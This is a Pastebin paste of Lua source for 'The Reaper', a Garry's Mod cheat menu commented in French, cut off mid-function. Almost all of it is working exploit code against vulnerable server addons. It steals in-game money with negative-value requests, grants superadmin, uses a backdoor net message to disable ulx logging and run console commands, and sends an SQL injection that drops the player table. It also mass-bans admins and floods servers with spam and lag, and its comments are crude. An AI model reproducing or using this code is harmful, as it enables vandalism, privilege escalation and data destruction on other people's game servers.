HENTAI159

REAPER

Mar 30th, 2018
1,226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 100.38 KB | None | 0 0
  1. if file.Exists( "includes/extensions/client/vehicles.lua", "LUA" ) == false then -- ne pas toucher cac check !!!!
  2. MsgC (Color(math.random(1,255),math.random(1,255),math.random(1,255)), [[
  3. CHARGEMENT DU MENU EN COURS...
  4.  
  5. CHARGEMENT TERMINER..
  6. ]])
  7. local Reaper = nil
  8. local RatesScaleLevel = LocalPlayer():SteamID()
  9. local FAUCHEUSE = {}
  10. FAUCHEUSE.memory = {}
  11. local grad = Material( "gui/gradient" )
  12. local degraderhaut = Material( "gui/gradient_up" )
  13. local degraderbas = Material( "gui/gradient_down" )
  14. local ctext = chat.AddText
  15.  
  16.  
  17. function FAUCHEUSE.ChatText( str )
  18. ctext(Color(math.random(1,255),math.random(1,255),math.random(1,255)), [[ [The Reaper]: ]]..str )
  19. end
  20. function FAUCHEUSE.NetStart( str )
  21. local netstart = net.Start
  22. if Reaper and Reaper.G and Reaper.G.net then
  23. netstart = Reaper.G.net.Start
  24. else
  25. -- print( "sending netmessage in insecure mode" )
  26. end
  27. return netstart( str )
  28. end
  29. function FAUCHEUSE.ValidNetString( str )
  30. local netstart = net.Start
  31. if Reaper and Reaper.G and Reaper.G.net then
  32. netstart = Reaper.G.net.Start
  33. else
  34. -- print( "scanning for exploit in insecure mode" )
  35. end
  36. local status, error = pcall( netstart, str )
  37. return status
  38. end
  39. function FAUCHEUSE.ValidNetString( str )
  40. local status, error = pcall( net.Start, str )
  41. return status
  42. end
  43. FAUCHEUSE.sploits = {}
  44. local severitycols = {
  45. [1] = Color( 0, 255, 0, 200 ),
  46. [2] = Color( 200, 200, 0, 200 ),
  47. [3] = Color( 200, 100, 0, 200 ),
  48. [4] = Color( 255, 0, 0, 200 ),
  49. }
  50. function FAUCHEUSE.AddExploit( name, tab )
  51. if !isstring( name ) then print("U FUCKED UP A SPLOIT RETARD") return end
  52. if !istable( tab ) then print("U FUCKED UP A SPLOIT RETARD") return end
  53. FAUCHEUSE.sploits[name] = tab
  54. end
  55. function FAUCHEUSE.IsStored( addr )
  56. return FAUCHEUSE.memory[addr] != nil
  57. end
  58. function FAUCHEUSE.GetStored( addr, fallback )
  59. if fallback and FAUCHEUSE.memory[addr] == nil then return fallback end
  60. return FAUCHEUSE.memory[addr]
  61. end
  62. function FAUCHEUSE.Store( addr, val )
  63. FAUCHEUSE.memory[addr] = val
  64. end
  65. function FAUCHEUSE.GetAllStored()
  66. return FAUCHEUSE.memory
  67. end
  68. function FAUCHEUSE.GetAllStoredData()
  69. local ret = {}
  70. for k, v in pairs( FAUCHEUSE.memory ) do
  71. if !istable( v ) then ret[k] = v end
  72. end
  73. return ret
  74. end
  75. function FAUCHEUSE.LoadConfig()
  76. local f = file.Read( "Reaper_exploit.dat", "DATA" )
  77. if !f then FAUCHEUSE.ChatText( "Aucune configuration." ) end
  78. local raw = util.Decompress( f )
  79. local garbage = util.JSONToTable( raw )
  80. table.Merge( FAUCHEUSE.memory, garbage )
  81. -- FAUCHEUSE.memory = garbage
  82. FAUCHEUSE.Menu:Remove()
  83. FAUCHEUSE.ChatText( "Fichier de configuration chargé" )
  84. end
  85. function FAUCHEUSE.SaveConfig()
  86. local myturds = util.TableToJSON( FAUCHEUSE.GetAllStoredData() )
  87. if !myturds then return end
  88. local cumpressed = util.Compress( myturds )
  89. file.Write( "Reaper_exploit.dat", cumpressed )
  90. FAUCHEUSE.ChatText( "Fichier de configuration sauvegardé" )
  91. end
  92. FAUCHEUSE.AddExploit( "€ Customizable Printers Money Stealer €", {
  93. desc = "Vole instantanément tout l'argent de chaque Printer sur le serveur",
  94. severity = 3,
  95. scan = function() return FAUCHEUSE.ValidNetString( "SyncPrinterButtons76561198056171650" ) end,
  96. functions = {
  97. { typ = "func", name = "Prendre", func = function()
  98. if !timer.Exists( "Reaper_exploit_shekels" ) then
  99. FAUCHEUSE.ChatText( "Vole de l'argent lancé" )
  100. timer.Create( "Reaper_exploit_shekels", 0.1, 0, function()
  101. for k, v in pairs(ents.GetAll()) do
  102. if( v:GetClass():find("print") ) then
  103. FAUCHEUSE.NetStart( "SyncPrinterButtons76561198056171650" )
  104. net.WriteEntity(v)
  105. net.WriteUInt(2, 4)
  106. net.SendToServer()
  107. end
  108. end
  109. end)
  110. else
  111. timer.Remove( "Reaper_exploit_shekels" )
  112. FAUCHEUSE.ChatText( "Vole de l'argent stoppé" )
  113. end
  114. end, },
  115. },
  116. } )
  117. FAUCHEUSE.AddExploit( "Spam De Messages Privé [Friend]", {
  118. desc = "Spams les personnes que tu veut sur le serveur",
  119. severity = 1,
  120. scan = function() return (FAUCHEUSE.ValidNetString( "sendtable" ) and ulx and ulx.friends ) end,
  121. functions = {
  122. { typ = "string", name = "Entrer un message", default = "Bitch please", addr = "fr_spamstring" },
  123. { typ = "players", addr = "fr_players" },
  124. { typ = "func", name = "Big Spam", func = function()
  125. if !timer.Exists( "bigspams" ) then
  126. FAUCHEUSE.ChatText( "big spam lancé" )
  127. timer.Create( "bigspams", 0.5, 0, function()
  128. local t = FAUCHEUSE.GetStored( "fr_players", {} )
  129. for k, v in pairs( player.GetAll() ) do
  130. if !table.HasValue( t, v ) then continue end
  131. local buyit = {}
  132. for i = 1, 15 do
  133. table.insert( buyit, FAUCHEUSE.GetStored( "fr_spamstring", "RIP les lags :/ */*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*" ) )
  134. end
  135. FAUCHEUSE.NetStart( "sendtable" )
  136. net.WriteEntity( v )
  137. net.WriteTable( buyit )
  138. net.SendToServer()
  139. end
  140. end)
  141. else
  142. timer.Remove( "bigspams" )
  143. FAUCHEUSE.ChatText( "big spam stoppé" )
  144. end
  145. end, },
  146. },
  147. } )
  148. FAUCHEUSE.AddExploit( "Spam D'Erreur La Console", {
  149. desc = "Détruit le serveur rcon avec des erreurs massives )",
  150. severity = 1,
  151. scan = function() return FAUCHEUSE.ValidNetString( "steamid2" ) end,
  152. functions = {
  153. { typ = "func", name = "Big Spam", func = function()
  154. if !timer.Exists( "Reaper_exploit_errorz" ) then
  155. FAUCHEUSE.ChatText( "erreur spam lancé" )
  156. timer.Create( "Reaper_exploit_errorz", 0.1, 0, function()
  157. FAUCHEUSE.NetStart( "steamid2" )
  158. net.WriteString( "Something is creating very strong script errors" )
  159. net.SendToServer()
  160. end)
  161. else
  162. timer.Remove( "Reaper_exploit_errorz" )
  163. FAUCHEUSE.ChatText( "erreur spam stoppé" )
  164. end
  165. end, },
  166. },
  167. } )
  168. FAUCHEUSE.AddExploit( "Turbo Erreur Spammer", {
  169. desc = "Détruit le serveur rcon avec des erreurs massive.",
  170. severity = 2,
  171. scan = function() return FAUCHEUSE.ValidNetString( "steamid2" ) end,
  172. functions = {
  173. { typ = "func", name = "Big Spam", func = function()
  174. if !timer.Exists( "Reaper_exploit_errorzt" ) then
  175. FAUCHEUSE.ChatText( "erreur spam lancé" )
  176. timer.Create( "Reaper_exploit_errorzt", 0, 0, function()
  177. for i = 1, 100 do
  178. FAUCHEUSE.NetStart( "steamid2" )
  179. net.WriteString( "Something is creating very strong script errors" )
  180. net.SendToServer()
  181. end
  182. end)
  183. else
  184. timer.Remove( "Reaper_exploit_errorzt" )
  185. FAUCHEUSE.ChatText( "erreur spam stoppé" )
  186. end
  187. end, },
  188. },
  189. } )
  190. FAUCHEUSE.AddExploit( "€ Kun Drug €", {
  191. desc = "Exploit d'argent",
  192. severity = 3,
  193. scan = function() return FAUCHEUSE.ValidNetString( "Kun_SellDrug" ) end,
  194. functions = {
  195. { typ = "func", name = "Lancer", func = function()
  196. if !timer.Exists( "Reaper_exploit_selldrugon" ) then
  197. FAUCHEUSE.ChatText( "Exploit lancé" )
  198. timer.Create( "Reaper_exploit_selldrugon", 0, 0, function()
  199. for i=1,1000 do
  200. FAUCHEUSE.NetStart("Kun_SellDrug")
  201. net.WriteString("mushroom")
  202. net.SendToServer()
  203. end
  204. end)
  205. else
  206. timer.Remove( "Reaper_exploit_selldrugon" )
  207. FAUCHEUSE.ChatText( "Exploit stoppé" )
  208. end
  209. end, },
  210. },
  211. } )
  212. FAUCHEUSE.AddExploit( "Point Shop Unbox", {
  213. desc = "Exploit a tester",
  214. severity = 2,
  215. scan = function() return FAUCHEUSE.ValidNetString( "net_PSUnBoxServer" ) end,
  216. functions = {
  217. { typ = "func", name = "Lancer", func = function()
  218. for k,v in pairs(player.GetAll()) do
  219. local i = 0
  220. for k2,v2 in pairs(PS.Items) do
  221. if !v:PS_HasItem(v2.ID) then
  222. timer.Simple(k*i*1.7,function()
  223. FAUCHEUSE.NetStart("net_PSUnBoxServer")
  224. net.WriteEntity(v)
  225. net.WriteString(v2.ID)
  226. net.SendToServer()
  227. end)
  228. i = i + 1
  229. end
  230. end
  231. end
  232. end, },
  233. },
  234. } )
  235. FAUCHEUSE.AddExploit( "☢ Give Superadmin ☢", {
  236. desc = "Donnez le superadmin aux gens (rejoignez pour que cela prenne effet)",
  237. severity = 4,
  238. scan = function() return FAUCHEUSE.ValidNetString( "pplay_deleterow" ) end,
  239. functions = {
  240. { typ = "players", addr = "l_superadmins" },
  241. { typ = "func", name = "Lancer", func = function()
  242. local t = FAUCHEUSE.GetStored( "l_superadmins", {} )
  243. for k, v in pairs( player.GetAll() ) do
  244. if !table.HasValue( t, v ) then continue end
  245. local id = v:SteamID()
  246. local tbl = {}
  247. tbl.name = "FAdmin_PlayerGroup"
  248. tbl.where = {
  249. "steamid",
  250. tostring(id)
  251. }
  252. FAUCHEUSE.NetStart("pplay_deleterow")
  253. net.WriteTable(tbl)
  254. net.SendToServer()
  255. local tbl = {}
  256. tbl.tblname = "FAdmin_PlayerGroup"
  257. tbl.tblinfo = {
  258. tostring(id),
  259. "superadmin"
  260. }
  261. FAUCHEUSE.NetStart("pplay_addrow")
  262. net.WriteTable(tbl)
  263. net.SendToServer()
  264. FAUCHEUSE.ChatText( "superadmin donné à "..v:Nick() )
  265. end
  266. end, },
  267. },
  268. } )
  269. local lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = ""
  270. if FAUCHEUSE.ValidNetString( "Sandbox_ArmDupe" ) then
  271. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "Sandbox_ArmDupe"
  272. else
  273. if FAUCHEUSE.ValidNetString( "Fix_Keypads" ) then
  274. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "Fix_Keypads"
  275. else
  276. if FAUCHEUSE.ValidNetString( "Remove_Exploiters" ) then
  277. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "Remove_Exploiters"
  278. else
  279. if FAUCHEUSE.ValidNetString( "noclipcloakaesp_chat_text" ) then
  280. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "noclipcloakaesp_chat_text"
  281. else
  282. if FAUCHEUSE.ValidNetString( "_Defqon" ) then
  283. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "_Defqon"
  284. else
  285. if FAUCHEUSE.ValidNetString( "_CAC_ReadMemory" ) then
  286. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "_CAC_ReadMemory"
  287. else
  288. if FAUCHEUSE.ValidNetString( "c" ) then
  289. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "c"
  290. else
  291. if FAUCHEUSE.ValidNetString( "killserver" ) then
  292. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "killserver"
  293. else
  294. if FAUCHEUSE.ValidNetString( "fuckserver" ) then
  295. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "fuckserver"
  296. else
  297. if FAUCHEUSE.ValidNetString( "cvaraccess" ) then
  298. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "cvaraccess"
  299. else
  300. if FAUCHEUSE.ValidNetString( "rcon" ) then
  301. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "rcon"
  302. else
  303. if FAUCHEUSE.ValidNetString( "rconadmin" ) then
  304. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "rconadmin"
  305. else
  306. if FAUCHEUSE.ValidNetString( "web" ) then
  307. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "web"
  308. else
  309. if FAUCHEUSE.ValidNetString( "nostrip" ) then
  310. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "nostrip"
  311. else
  312. if FAUCHEUSE.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) then
  313. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "nostrip"
  314. else
  315. if FAUCHEUSE.ValidNetString( "LickMeOut" ) then
  316. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "LickMeOut"
  317. else
  318. if FAUCHEUSE.ValidNetString( "MoonMan" ) then
  319. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "MoonMan"
  320. if FAUCHEUSE.ValidNetString( "Im_SOCool" ) then
  321. lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol = "Im_SOCool"
  322. end
  323. end
  324. end
  325. end
  326. end
  327. end
  328. end
  329. end
  330. end
  331. end
  332. end
  333. end
  334. end
  335. end
  336. end
  337. end
  338. end
  339. end
  340. FAUCHEUSE.AddExploit( ".NET Backdoor", {
  341. desc = "Backdoor trés puissant, ENLEVE LES LOGS POUR ETRE PLUS DISCRET, Nom De La .NET : "..lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol.."",
  342. severity = 4,
  343. scan = function() return FAUCHEUSE.ValidNetString( lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol ) end,
  344. functions = {
  345. { typ = "func", name = "STOP LES LOGS", func = function()
  346. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  347. net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
  348. net.WriteBit(1)
  349. net.SendToServer()
  350. end, },
  351. { typ = "htxcommandeliste", name = "COMMANDES HTX" },
  352. { typ = "players", addr = "give_superadmins" },
  353. { typ = "func", name = "<- Superadmin", func = function()
  354. local t = FAUCHEUSE.GetStored( "give_superadmins", {} )
  355. for k, v in pairs( player.GetAll() ) do
  356. if !table.HasValue( t, v ) then continue end
  357. local id = v:SteamID()
  358. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  359. net.WriteString( "ulx adduserid "..id.." superadmin" )
  360. net.WriteBit(false)
  361. net.SendToServer()
  362. end
  363. end, },
  364. },
  365. } )
  366. FAUCHEUSE.AddExploit( "☢ Niquer la base de donné SQL (sa pique) ☢", {
  367. desc = "Vandalisez la base de données darkrp master SQL, effaçant toutes les données des joueurs, vous devez être superamin !!",
  368. severity = 4,
  369. scan = function() return FAUCHEUSE.ValidNetString( "pplay_sendtable" ) end,
  370. functions = {
  371. { typ = "func", name = "Lancer", func = function()
  372. local tbl = {}
  373. tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
  374. tbl.ply = LocalPlayer()
  375. FAUCHEUSE.NetStart("pplay_sendtable")
  376. net.WriteTable(tbl)
  377. net.SendToServer()
  378. FAUCHEUSE.ChatText( "Base de données SQL Server détruite" )
  379. end, },
  380. },
  381. } )
  382. FAUCHEUSE.AddExploit( "Détruire Les Datas", {
  383. desc = "Défoncer simplements les datas de leur serveur pour énérver leur devs :D",
  384. severity = 3,
  385. scan = function() return FAUCHEUSE.ValidNetString( "WriteQuery" ) end,
  386. functions = {
  387. { typ = "func", name = "Lancer", func = function()
  388. if !timer.Exists( "Reaper_exploit_datatrasher" ) then
  389. FAUCHEUSE.ChatText( "Démarrage du spam du dossier data" )
  390. timer.Create( "Reaper_exploit_datatrasher", 0.5, 0, function()
  391. FAUCHEUSE.NetStart( "WriteQuery" )
  392. net.WriteString( "BAN ME -> "..LocalPlayer():SteamID()..string.rep( "!", math.random( 1, 5000 ) ) )
  393. net.SendToServer()
  394. end)
  395. else
  396. timer.Remove( "Reaper_exploit_datatrasher" )
  397. FAUCHEUSE.ChatText( "Spam du dossier data Stopper" )
  398. end
  399. end, },
  400. },
  401. } )
  402. -- Patched
  403. --[[FAUCHEUSE.AddExploit( "Turbo Chat Spam", {
  404. desc = "Gros spam, extrêmement ennuyeux",
  405. severity = 1,
  406. scan = function() return FAUCHEUSE.ValidNetString( "VJSay" ) end,
  407. functions = {
  408. { typ = "string", name = "Entrer un message", default = "ReaperMenu", addr = "vj_spamstring" },
  409. { typ = "string", name = "Entrer un son", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
  410. { typ = "func", name = "Big Spam", func = function()
  411. if !timer.Exists( "bigspamsvj" ) then
  412. FAUCHEUSE.ChatText( "big spam lancé" )
  413. timer.Create( "bigspamsvj", 0.1, 0, function()
  414. for k, v in pairs( player.GetAll() ) do
  415. FAUCHEUSE.NetStart( "VJSay" )
  416. net.WriteEntity( v )
  417. net.WriteString( FAUCHEUSE.GetStored( "vj_spamstring", "ACHETER LE @Reaper AJOUTEZ SUPREMACIST" ) )
  418. if FAUCHEUSE.GetStored( "vj_spamsound", "" ) != "" then
  419. net.WriteString( FAUCHEUSE.GetStored( "vj_spamsound", "" ) )
  420. end
  421. net.SendToServer()
  422. end
  423. end)
  424. else
  425. timer.Remove( "bigspamsvj" )
  426. FAUCHEUSE.ChatText( "big spam stoppé" )
  427. end
  428. end, },
  429. },
  430. } )--]]
  431. FAUCHEUSE.AddExploit( "Give une arme", {
  432. desc = "Exploit pour avoir des armes",
  433. severity = 3,
  434. scan = function() return FAUCHEUSE.ValidNetString( "CraftSomething" ) end,
  435. functions = {
  436. { typ = "string", name = "Nom Arme", default = "m9k_ak47", addr = "armes_a_prendre" },
  437. { typ = "func", name = "Prendre", func = function()
  438. FAUCHEUSE.NetStart( "CraftSomething" )
  439. net.WriteEntity( LocalPlayer() )
  440. net.WriteString( FAUCHEUSE.GetStored( "armes_a_prendre" ) )
  441. net.WriteString( "" )
  442. net.WriteString( "weapon" )
  443. net.SendToServer()
  444. end, },
  445. },
  446. } )
  447. FAUCHEUSE.AddExploit( "ULX Extended ", {
  448. desc = "Attention cette exploit est risquée si le script est à jour vous allez être kick ^^",
  449. severity = 3,
  450. scan = function() return FAUCHEUSE.ValidNetString( "banleaver" ) end,
  451. functions = {
  452. { typ = "func", name = "Ban les Admins", func = function()
  453. for k,v in pairs(player.GetAll()) do
  454. if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
  455. if v != LocalPlayer() then
  456. FAUCHEUSE.NetStart("banleaver")
  457. net.WriteString(v:SteamID().."{sep}".."Vous avez était Fauché...")
  458. net.SendToServer()
  459. end
  460. end
  461. end
  462. end, },
  463. { typ = "func", name = "Ban tout le monde", func = function()
  464. for k,v in pairs(player.GetAll()) do
  465. if v != LocalPlayer() then
  466. FAUCHEUSE.NetStart("banleaver")
  467. net.WriteString(v:SteamID().."{sep}".."Vous avez était Fauché...")
  468. net.SendToServer()
  469. end
  470. end
  471. end, },
  472. },
  473. } )
  474. FAUCHEUSE.AddExploit( "€ Casino NPC €", {
  475. desc = "Exploit d'argent",
  476. severity = 4,
  477. scan = function() return FAUCHEUSE.ValidNetString( "75_plus_win" ) end,
  478. functions = {
  479. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent" },
  480. { typ = "players", addr = "l_players_listing" },
  481. { typ = "func", name = "Donner", func = function()
  482. local t = FAUCHEUSE.GetStored( "l_players_listing", {} )
  483. for k, v in pairs( player.GetAll() ) do
  484. if !table.HasValue( t, v ) then continue end
  485. FAUCHEUSE.NetStart( "75_plus_win" )
  486. net.WriteString( FAUCHEUSE.GetStored( "montant_argent" ) )
  487. net.WriteEntity(v)
  488. net.SendToServer()
  489. end
  490. end, },
  491. { typ = "func", name = "Enlever", func = function()
  492. local t = FAUCHEUSE.GetStored( "l_players_listing", {} )
  493. for k, v in pairs( player.GetAll() ) do
  494. if !table.HasValue( t, v ) then continue end
  495. FAUCHEUSE.NetStart( "75_plus_win" )
  496. net.WriteString( -FAUCHEUSE.GetStored( "montant_argent" ) )
  497. net.WriteEntity(v)
  498. net.SendToServer()
  499. end
  500. end, },
  501. },
  502. } )
  503. FAUCHEUSE.AddExploit( "€ ATM €", {
  504. desc = "Exploit d'argent",
  505. severity = 4,
  506. scan = function() return FAUCHEUSE.ValidNetString( "ATMDepositMoney" ) end,
  507. functions = {
  508. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent5" },
  509. { typ = "func", name = "Prendre", func = function()
  510. FAUCHEUSE.NetStart( "ATMDepositMoney" )
  511. net.WriteFloat( -FAUCHEUSE.GetStored( "montant_argent5" ) )
  512. net.SendToServer()
  513. end, },
  514. },
  515. } )
  516. FAUCHEUSE.AddExploit( "TAXI Spawn Lag", {
  517. desc = "Exploit pour faire chier les soit disant codeur ;)",
  518. severity = 2,
  519. scan = function() return FAUCHEUSE.ValidNetString( "Taxi_Add" ) end,
  520. functions = {
  521. { typ = "func", name = "Spawn", func = function()
  522. local Pos = LocalPlayer():GetEyeTrace().HitPos
  523. FAUCHEUSE.NetStart("Taxi_Add")
  524. net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
  525. net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
  526. net.WriteFloat(-9999999)
  527. net.WriteString("Les addons leaks c'est plein d'exploit :D")
  528. net.SendToServer()
  529. end, },
  530. { typ = "func", name = "Super Spam", func = function()
  531. if !timer.Exists( "taxispam" ) then
  532. FAUCHEUSE.ChatText( "Spam spawn Taxi lancé" )
  533. timer.Create( "taxispam", 0.05, 0, function()
  534. local Pos = LocalPlayer():GetEyeTrace().HitPos
  535. FAUCHEUSE.NetStart("Taxi_Add")
  536. net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
  537. net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
  538. net.WriteFloat(-9999999)
  539. net.WriteString("Les addons leaks c'est plein d'exploit :D")
  540. net.SendToServer()
  541. end)
  542. else
  543. timer.Remove( "taxispam" )
  544. FAUCHEUSE.ChatText( "Spam spawn Taxi arreter" )
  545. end
  546. end, },
  547. },
  548. } )
  549. FAUCHEUSE.AddExploit( "€ eMining €", {
  550. desc = "Exploit d'argent très efficace, go payer des putes et de la coke ;)",
  551. severity = 4,
  552. scan = function() return FAUCHEUSE.ValidNetString( "SellMinerals" ) end,
  553. functions = {
  554. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent6" },
  555. { typ = "func", name = "Prendre", func = function()
  556. for k,v in pairs(SkillDB) do
  557. if not ( v.iSkill == true ) then
  558. FAUCHEUSE.NetStart("degraderhaute")
  559. net.WriteTable( { LuaName = v.LuaName, Amount = -FAUCHEUSE.GetStored( "montant_argent6" ) } )
  560. net.SendToServer()
  561. FAUCHEUSE.NetStart( "SellMinerals" )
  562. net.WriteTable( { Target = LocalPlayer() } )
  563. net.SendToServer()
  564. end
  565. end
  566. end, },
  567. { typ = "func", name = "Enlever", func = function()
  568. for k,v in pairs(SkillDB) do
  569. if not ( v.iSkill == true ) then
  570. FAUCHEUSE.NetStart("degraderhaute")
  571. net.WriteTable( { LuaName = v.LuaName, Amount = FAUCHEUSE.GetStored( "montant_argent6" ) } )
  572. net.SendToServer()
  573. FAUCHEUSE.NetStart( "SellMinerals" )
  574. net.WriteTable( { Target = LocalPlayer() } )
  575. net.SendToServer()
  576. end
  577. end
  578. end, },
  579. },
  580. } )
  581. FAUCHEUSE.AddExploit( "€ Gamble NPC €", {
  582. desc = "Exploit d'argent Infini",
  583. severity = 4,
  584. scan = function() return FAUCHEUSE.ValidNetString( "TakeBetMoney" ) end,
  585. functions = {
  586. { typ = "func", name = "Prendre", func = function()
  587. FAUCHEUSE.NetStart( "TakeBetMoney" )
  588. net.WriteTable({1e333333 , 1e333333})
  589. net.SendToServer()
  590. end, },
  591. },
  592. } )
  593. FAUCHEUSE.AddExploit( "€ Kun Oil Mod €", {
  594. desc = "Exploit d'argent",
  595. severity = 3,
  596. scan = function() return FAUCHEUSE.ValidNetString( "Kun_SellOil" ) end,
  597. functions = {
  598. { typ = "func", name = "Prendre", func = function()
  599. for k,v in pairs(ents.GetAll()) do
  600. FAUCHEUSE.NetStart("Kun_SellOil")
  601. net.WriteEntity(v)
  602. net.SendToServer()
  603. end
  604. end, },
  605. },
  606. } )
  607. FAUCHEUSE.AddExploit( "Rejoindre la Police 1", {
  608. desc = "Rejoint la police sans passer par le formulaire",
  609. severity = 2,
  610. scan = function() return FAUCHEUSE.ValidNetString( "PoliceJoin" ) end,
  611. functions = {
  612. { typ = "func", name = "Rejoindre", func = function()
  613. FAUCHEUSE.NetStart("PoliceJoin")
  614. net.SendToServer()
  615. end, },
  616. },
  617. } )
  618. FAUCHEUSE.AddExploit( "Rejoindre la Police 2", {
  619. desc = "Rejoint la police sans passer le formulaire",
  620. severity = 2,
  621. scan = function() return FAUCHEUSE.ValidNetString( "CpForm_Answers" ) end,
  622. functions = {
  623. { typ = "func", name = "Rejoindre", func = function()
  624. FAUCHEUSE.NetStart("CpForm_Answers")
  625. net.WriteEntity(LocalPlayer())
  626. net.WriteTable({})
  627. net.SendToServer()
  628. end, },
  629. },
  630. } )
  631. FAUCHEUSE.AddExploit( "€ Deposit Money €", {
  632. desc = "Exploit d'argent avec les ATM Deposit Money",
  633. severity = 2,
  634. scan = function() return FAUCHEUSE.ValidNetString( "DepositMoney" ) end,
  635. functions = {
  636. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent7" },
  637. { typ = "func", name = "Lancer", func = function()
  638. for k,v in pairs(ents.GetAll()) do
  639. swag = v
  640. end
  641. for k,v in pairs(player.GetAll()) do
  642. FAUCHEUSE.NetStart( "DepositMoney" )
  643. net.WriteEntity(swag)
  644. net.WriteString(-FAUCHEUSE.GetStored( "montant_argent7" ))
  645. net.WriteEntity(v)
  646. net.SendToServer()
  647. end
  648. end, },
  649. },
  650. } )
  651. FAUCHEUSE.AddExploit( "MDE", {
  652. desc = "Exploit pour supprimer des PermaProps (Viser le props et cliquer sur l'exploit pour le supprimer)",
  653. severity = 2,
  654. scan = function() return FAUCHEUSE.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
  655. functions = {
  656. { typ = "func", name = "Lancer", func = function()
  657. FAUCHEUSE.NetStart( "MDE_RemoveStuff_C2S" )
  658. net.WriteTable( {DATA="",TARGET=LocalPlayer():GetEyeTrace().Entity} )
  659. net.SendToServer()
  660. end, },
  661. },
  662. } )
  663. FAUCHEUSE.AddExploit( "€ SS Shelf NET €", {
  664. desc = "Exploit d'argent",
  665. severity = 3,
  666. scan = function() return FAUCHEUSE.ValidNetString( "NET_SS_DoBuyTakeoff" ) end,
  667. functions = {
  668. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent9" },
  669. { typ = "func", name = "Lancer", func = function()
  670. for k,v in pairs(ents.GetAll()) do
  671. swag = v
  672. end
  673. FAUCHEUSE.NetStart( 'NET_SS_DoBuyTakeoff' )
  674. net.WriteEntity(LocalPlayer())
  675. net.WriteEntity(swag)
  676. net.WriteTable({'spawned_weapon'})
  677. net.WriteInt(-FAUCHEUSE.GetStored( "montant_argent9" ), 16)
  678. net.SendToServer()
  679. end, },
  680. },
  681. } )
  682. FAUCHEUSE.AddExploit( "€ MODIFIER TAXES €", {
  683. desc = "Exploit d'argent",
  684. severity = 3,
  685. scan = function() return FAUCHEUSE.ValidNetString( "NET_EcSetTax" ) end,
  686. functions = {
  687. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent10" },
  688. { typ = "func", name = "Lancer", func = function()
  689. FAUCHEUSE.NetStart("NET_EcSetTax")
  690. net.WriteInt(-FAUCHEUSE.GetStored( "montant_argent10" ), 16)
  691. net.SendToServer()
  692. end, },
  693. },
  694. } )
  695. FAUCHEUSE.AddExploit( "€ Fine System €", {
  696. desc = "Exploit d'argent",
  697. severity = 3,
  698. scan = function() return FAUCHEUSE.ValidNetString( "RP_Accept_Fine" ) end,
  699. functions = {
  700. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent11" },
  701. { typ = "players", addr = "l_players_listing_fine" },
  702. { typ = "func", name = "Prendre", func = function()
  703. local t = FAUCHEUSE.GetStored( "l_players_listing_fine", {} )
  704. for k, v in pairs( player.GetAll() ) do
  705. if !table.HasValue( t, v ) then continue end
  706. FAUCHEUSE.NetStart("RP_Accept_Fine")
  707. net.WriteString(v:Nick())
  708. net.WriteDouble(-FAUCHEUSE.GetStored( "montant_argent11" ))
  709. net.SendToServer()
  710. end
  711. end, },
  712. { typ = "func", name = "Envoyer Amende x)", func = function()
  713. local t = FAUCHEUSE.GetStored( "l_players_listing_fine", {} )
  714. for k, v in pairs( player.GetAll() ) do
  715. if !table.HasValue( t, v ) then continue end
  716. FAUCHEUSE.NetStart("RP_Fine_Player")
  717. net.WriteString(v:Nick())
  718. net.WriteString(v:Nick())
